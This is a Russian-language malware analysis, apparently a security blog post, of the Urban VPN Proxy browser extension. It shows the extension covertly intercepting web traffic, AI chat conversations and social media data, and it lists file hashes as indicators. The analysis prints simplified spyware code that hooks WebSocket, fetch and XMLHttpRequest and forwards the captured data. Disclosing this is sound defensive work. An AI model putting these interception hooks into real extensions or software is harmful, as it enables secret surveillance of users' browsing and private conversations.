Urban VPN Proxy — широко распространённое браузерное расширение, которое позиционируется как бесплатный VPN без логирования. Однако анализ JavaScript-кода, исполняемого расширением напрямую в контексте пользовательских страниц, показывает: фактическая функциональность продукта выходит далеко за рамки обычного проксирования трафика.

В процессе реверс-инжиниринга выяснилось, что расширение реализует универсальный фреймворк для сбора и эксфильтрации данных, охватывающий сразу несколько классов информации:

  • WebSocket‑трафик

  • запросы fetch и XMLHttpRequest

  • AI‑чаты (ChatGPT, Copilot)

  • социальные сети (Facebook, Instagram, LinkedIn, Pinterest, Reddit, TikTok, Twitter, Twitch)

  • рекламный и видеоконтент

Структура расширения

Файловая организация контент‑скриптов

В расширении присутствует набор файлов:

  • facebook.js

  • frame.js

  • insta.js

  • linkedin.js

  • pinterest.js

  • reddit.js

  • tiktok.js

  • traffic.js

  • twitch.js

  • twitter.js

Ключевое наблюдение: все эти файлы — вариации одного и того же кода. Отличия между ними сводятся к:

  • конфигурационным путям (PATH_*),

  • регулярным выражениям,

  • типам событий,

  • названиям платформ.

Архитектура очевидно шаблонная.

Общая архитектура

По своей сути расширение представляет собой data‑driven surveillance framework, состоящий из нескольких логических слоёв:

  • загрузчик конфигурации

  • слой перехвата трафика

  • парсеры под конк��етные платформы

  • слой нормализации данных

  • канал эксфильтрации

Динамическая конфигурация (bis_data)

Все модули расширения зависят от объекта bis_data, который загружается в sessionStorage.

const getConfig = () => {
  const data = sessionStorage.getItem("bis_data");
  return data ? JSON.parse(data) : null;
};

Если конфигурация отсутствует, код либо ждёт её появления, либо просто прекращает выполнение.

Что содержит bis_data

Из анализа следует, что конфигурация включает:

  • список активных платформ

  • URL‑паттерны

  • правила извлечения данных

  • лимиты сообщений

  • флаги включения и отключения модулей

Фактически поведение расширения полностью управляется удалённо и может изменяться без обновления из Chrome Web Store.

Универсальный шаблон platform‑скриптов

Файлы facebook.js, insta.js, linkedin.js, twitter.js, twitch.js и другие работают по одному сценарию:

  1. загрузка конфигурации

  2. подмена Web API

  3. перехват данных

  4. извлечение значений по заданным путям

  5. отправка данных наружу через window.postMessage

Универсальный доступ к данным по путям

Во всех модулях используется одна и та же функция:

const byPath = (obj, path) => {
  let current = obj;
  for (const key of path) {
    if (!current || !current.hasOwnProperty(key)) return null;
    current = current[key];
  }
  return current;
};

Она применяется:

  • во всех парсерах

  • для JSON‑ответов

  • для streaming‑данных

  • для GraphQL

Это позволяет полностью менять структуру извлечения данных через конфигурацию, не трогая сам код.

Traffic Interception Layer (traffic.js, frame.js)

Подмена WebSocket

const NativeWebSocket = window.WebSocket;

window.WebSocket = class extends NativeWebSocket {
  send(data) {
    interceptOutgoing(data);
    return super.send(data);
  }
};

Подмена fetch

const nativeFetch = fetch;

fetch = async function(req) {
  if (!urlMatches(req)) {
    return nativeFetch.apply(this, arguments);
  }

  const res = await nativeFetch.apply(this, arguments);
  const clone = res.clone();
  const json = await clone.json();
  analyze(json);
  return res;
};

Подмена XMLHttpRequest

XMLHttpRequest.prototype.open = function() {
  this.method = arguments[0];
  this.url = arguments[1];
};

Фактически реализуется полноценный MITM‑механизм внутри браузера.

Нормализация данных

Все перехваченные данные приводятся к единому формату:

function normalizeMessage(text, limit, time, type) {
  return {
    messageType: type,
    messageText: text.trim().slice(0, limit),
    messageLength: text.length,
    creationTime: time
  };
}

Этот механизм используется для:

  • AI‑диалогов

  • комментариев

  • описаний видео

  • рекламных текстов

AI‑диалоги (ChatGPT и Copilot)

Copilot

  • перехват WebSocket‑трафика

  • сбор пользовательских сообщений

  • сбор ответов модели

  • привязка к sessionId

window.postMessage({
  type: "COPILOT_DATA",
  content: {
    chatbotName,
    sessionId,
    messages
  }
});

ChatGPT

  • анализ streaming‑ответов

  • ожидание внутренних AI‑событий

  • сбор system, user и assistant сообщений

window.postMessage({
  type: "CHATGPT_DATA",
  content: conversation
});

На практике это означает полный лог всех диалогов пользователя с AI.

Социальные сети: единый фреймворк

Facebook / Instagram / LinkedIn

  • парсинг GraphQL‑ответов

  • извлечение:

    • videoId

    • videoUrl

    • audioUrl

    • preview

    • userName

    • рекламных метаданных

window.postMessage({
  type: "FACEBOOK_VIDEO_DATA",
  content: videoData
});

Pinterest

  • чтение SSR‑JSON из <script>

  • перехват XHR

  • сбор видеометаданных

Reddit

  • детект .mpd видеопотоков

  • сбор рекламных outbound‑URL

  • анализ правой колонки страницы

TikTok

  • перехват API‑ответов

  • детект рекламы

  • сбор данных авторов

  • модификация серверного ответа:

json.content = content.filter(item => !item.isAd);
return new Response(JSON.stringify(json));

Это уже активное вмешательство в поток данных.

Twitter / Twitch

По архитектуре полностью повторяют Facebook и TikTok, отличаясь только путями и регулярными выражениями. Функционально выполняют сбор видео, описаний и метаданных стримов.

Exfiltration Layer — единый канал утечки

Во всех модулях используется одинаковая схема передачи данных:

window.postMessage({
  posdMessageId: "PANELOS_MESSAGE",
  posdHash: randomId(),
  type,
  from,
  to,
  content,
  dynamicAppId
});

Характерные особенности:

  • отсутствует проверка origin

  • отсутствует согласие пользователя

  • работает на любых доменах

  • централизованная агрегация данных

Почему все файлы почти одинаковые

Потому что перед нами не просто расширение, а встроенный SDK:

  • один движок

  • множество конфигураций

  • быстрое масштабирование на новые платформы

Добавление нового сайта фактически сводится к новому JSON‑описанию в bis_data и копированию шаблонного файла.

Итоговая классификация

Компонент

Назначение

traffic.js

MITM трафика

frame.js

глобальный инжектор

facebook.js

ad / video intelligence

insta.js

социальный контент

linkedin.js

бизнес‑профили

pinterest.js

видео‑парсинг

reddit.js

видео и реклама

tiktok.js

реклама + модификация ответов

twitter.js

медиа‑контент

twitch.js

стримы

Заключение

Urban VPN Proxy реализует универсальный браузерный фреймворк слежки со следующими возможностями:

  • перехват WebSocket, fetch и XHR

  • сбор AI‑диалогов

  • парсинг социальных сетей

  • сбор рекламных данных

  • активное вмешательство в трафик

  • удалённое управление логикой

С технической точки зрения это:

  • spyware‑архитектура

  • ad‑intelligence агент

  • surveillance SDK, внедрённый в браузер

И всё это — под видом «бесплатного VPN».

IOC

Ниже приведены контрольные суммы (SHA256) файлов:

Файл

SHA256

copilot.js

337532D2E2D3B8FD5EA545C79B10D835719A0B072D502F19414D734342F5DCB4

chatgpt.js

1BC61C6408717F35D65D704D32211421DC6C54978EF8E5A681CB0EED6807E5B4

facebook.js

db6aca367cad442816c0369db2da50b67c645f21bfa7c3708e15db3b25e462ce

frame.js

b72dd22dbabe04dcfeaf2b709631f4f5f21d65682cb335d7ef7947297e305d0a

insta.js

3b9f1e9d6404b0328d308d9a1535cf3d1747a0a0dcac9d1a5d9c7a8c0b2fcb4f

linkedin.js

98eeea7bf9eb401ac70e1812be320d393e9953005353bb060e2299b898527289

pinterest.js

52afcede50740a5f2ea76dc0363254586149b9b33dde79b5b05721a825479310

reddit.js

ed8f382de9c68245e5efde92d90d301646ff23e8dc8512c448cc348fa102d4c5

tiktok.js

bb92de2d91e9fa66821769ca01f019fe0b9ee4a77c8e2b839a1de45e61abb700

traffic.js

5fbc1666bcdc11a194dff26513bee84583166610b22db3294c4d56b96f4dedfd

twitch.js

7542a1bfde04fb0174a77a5d846c1775d324450de553cca97c9e2f858e902a46

twitter.js

57e6a28a68a32a984f9be89e6370981e396e590f366715f3b6a03a5fb3740c14